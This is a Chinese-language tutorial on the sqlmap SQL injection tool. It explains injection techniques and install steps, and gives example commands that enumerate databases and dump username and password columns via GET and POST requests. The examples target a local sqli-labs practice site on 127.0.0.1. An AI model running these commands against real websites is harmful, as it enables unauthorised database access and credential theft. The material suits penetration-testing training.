SQLMAP簡介
sqlmap是一個開源的滲透測試工具,可以用來進行自動化檢測,利用SQL注入漏洞,獲取數據庫服務器的權限。它具有功能強大的檢測引擎,針對各種不同類型數據庫的滲透測試的功能選項,包括獲取數據庫中存儲的數據,訪問操作系統文件甚至可以通過外帶數據連接的方式執行操作系統命令。
1.支持的數據庫:
MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等數據庫
2.sqlmap支持的五種注入模式:
1.基於布爾的盲注,即可以根據返回頁面判斷條件真假的注入;
2.基於時間的盲注,即不能根據頁面返回內容判斷任何信息,用條件語句查看時間延遲語句是否執行(即頁面返回時間是否增加)來判斷;
3.基於報錯注入,即頁面會返回錯誤信息,或者把注入的語句的結果直接返回在頁面中;
4.聯合查詢注入,可以使用union的情況下的注入;
5.堆查詢注入,可以同時執行多條語句的執行時的注入。
3.sqlmap七個等級
如果想觀察sqlmap對一個點是進行了怎樣的嘗試判斷以及讀取數據的,可以使用-v參數。 共有七個等級,默認為1:
0、只顯示python錯誤以及嚴重的信息。
1、同時顯示基本信息和警告信息。(默認)
2、同時顯示debug信息。
3、同時顯示注入的payload。
4、同時顯示HTTP請求。
5、同時顯示HTTP響應頭。
6、同時顯示HTTP響應頁面。
4.sqlmap注入判斷簡單流程
當給sqlmap一個url的時候,它會:
- 判斷可注入的參數
- 判斷可以用那種SQL注入技術來注入
- 識別出哪種數據庫
- 根據用戶選擇,讀取哪些數據
SQLMAP安裝
1、安裝python 3版本環境
首先,安裝python 3.x的python環境。選擇環境與工具下的python-3.7.3-amd64.exe。雙擊進行安裝。注意當出現下面這個頁面,選一下添加到環境變量(如果沒有這個頁面,繼續進行即可):
一步一步選擇默認選項,Next即可。
2、將sqlmap文件夾移動到安裝好的python程序主目錄下
3、在sqlmap文件夾下,運行cmd
(或直接打開cmd,然后切換到sqlmap目錄下)
SQLMAP常見使用
1、 sqlmap常用選項
--users 所有數據庫用戶
--current-user 當前數據庫用戶
--is-dba 當前用戶權限(是否為root權限)
--dbms 指定了某種數據庫,如:mysql數據庫
--batch 全局使用默認選項,不與人進行交互,適合全自動工作
--random-agent 構造隨機user-agent
--threads= 使用多少線程
--dbs 所有數據庫
--current-db 網站當前數據庫
--tables -D "database" //database這個數據庫的表數據表
--columns -T "tables" -D "database" //查看users這個數據表的字段
--dump -D "database" -T "tables" -C "username,password"//查看字段username和password下的數據
2、sqlmap不同注入模式
探測可使用的注入模式:參數--technique
B: Boolean-based blind SQL injection(布爾型注入)
E: Error-based SQL injection(報錯型注入)
U: UNION query SQL injection(可聯合查詢注入)
S: Stacked queries SQL injection(可多語句查詢注入)
T: Time-based blind SQL injection(基於時間延遲注入)
例:
通過聯合查詢注入獲取當前數據庫
python sqlmap.py -u "127.0.0.1/Less-1/?id=1" --technique U --current-db --batch --dbms mysql
通過報錯注入獲取當前數據庫
python sqlmap.py -u "127.0.0.1/Less-5/?id=1" --technique E --current-db --batch --dbms mysql
3、 利用sqlmap進行GET型SQL注入
(1)獲取所有數據庫(可添加全局使用默認選項--batch和指定某種數據庫選項--dbms)
python sqlmap.py -u "url" –dbs
如:python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --dbs --batch --dbms mysql
(2)獲取網站當前數據庫
python sqlmap.py -u "url" --current-db
(3)獲取security這個數據庫的數據表
python sqlmap.py -u "url" --tables -D "security"
(4)查看users這個數據表的字段
python sqlmap.py -u "url" --columns -T "users" -D "security"
(5)查看字段username和password下的數據
python sqlmap.py -u "url" --dump -D "security" -T "users" -C "password,username"
4、 利用sqlmap進行POST型SQL注入
先用Burp Suite去抓包,直接發送包里面的內容保存到一個文件(這里是sql.txt文件)里面
然后用-r參數去實現
(1)獲取網站當前數據庫
python sqlmap.py -r "sql.txt文件路徑" -p "uname" --batch --current-db --dbms mysql
(2)獲取security這個數據庫的數據表
python sqlmap.py -r "sql.txt文件路徑" -p "uname" --batch --tables -D "security" --dbms mysql
(3)查看users這個數據表的字段
python sqlmap.py -r "sql.txt文件路徑" -p "uname" --batch --columns -T "users" -D "security" --dbms mysql
(4)查看字段username和password下的數據
python sqlmap.py -r "sql.txt文件路徑" -p "uname" --batch --dump -D "security" -T "users" -C "password,username" --dbms mysql